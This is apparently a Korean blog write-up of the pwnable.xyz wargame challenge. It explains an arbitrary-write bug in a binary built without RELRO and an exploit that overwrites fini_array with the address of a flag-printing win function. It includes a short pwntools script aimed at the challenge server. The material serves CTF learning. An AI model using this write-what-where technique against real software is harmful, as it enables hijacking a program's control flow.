문제 풀이 환경 : ubuntu 18.04 사용 툴 : IDA 7.5 pro |
처음에 문제 이름만 보고 풀이가 좀 더러운 문제인가..? 싶었다 ㅎ.
Analysis
보호 기법 확인
No 렐로
Execution
뭔가 원하는 주소에 원하는 값을 넣을 수 있게 생겼다.
Code
오호, 원하는 주소에 원하는 값을 넣을 수 있다.
게다가 flag를 출력해주는 win함수도 있다.
no relro였으니, 어떤 함수 got에다가 저 주소를 넣어주면 될 듯 하다.
그런데 딱히 덮을만한 got가 없다..!
그러면 fini_array 덮어야지
Exploit Scenario
1. fini_array에 win주소 넣기
아 그런데, get_val 함수 리턴값이 뭐길래 처음에 자꾸 v5 변수에 그냥 0이 들어갔었다.
정체는 strtoull함수였고, 이 함수는 스트링 문자열을 unsigned long intger로 바꿔준다고 한다.
그래서 값 넣을 때 str()로 감싸서 넣어줘야 한다.
Get Flag!
from pwn import *
#p = process('./challenge')
p = remote('svc.pwnable.xyz', 30033)
e = ELF('./challenge')
pause()
p.sendafter('Addr: ', str(0x600bc0) )
pause()
p.sendafter('Value: ', str(e.symbols['win']))
p.interactive()
fini_array 공부해야한다..
잘 모른다 뭔지..
'WAR GAME > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] message 풀이 (OOB, pie leak, canary leak) (0) | 2021.06.04 |
---|---|
[pwnable.xyz] badayum 풀이 (pie leak, canary leak) (0) | 2021.06.02 |
[pwnable.xyz] Jmp table풀이 (OOB) (0) | 2021.06.01 |
[pwnable.xyz] strcat 풀이 (OOB) (0) | 2021.05.29 |
[pwnable.xyz] strcat 풀이 (Double Staged FSB) (0) | 2021.05.25 |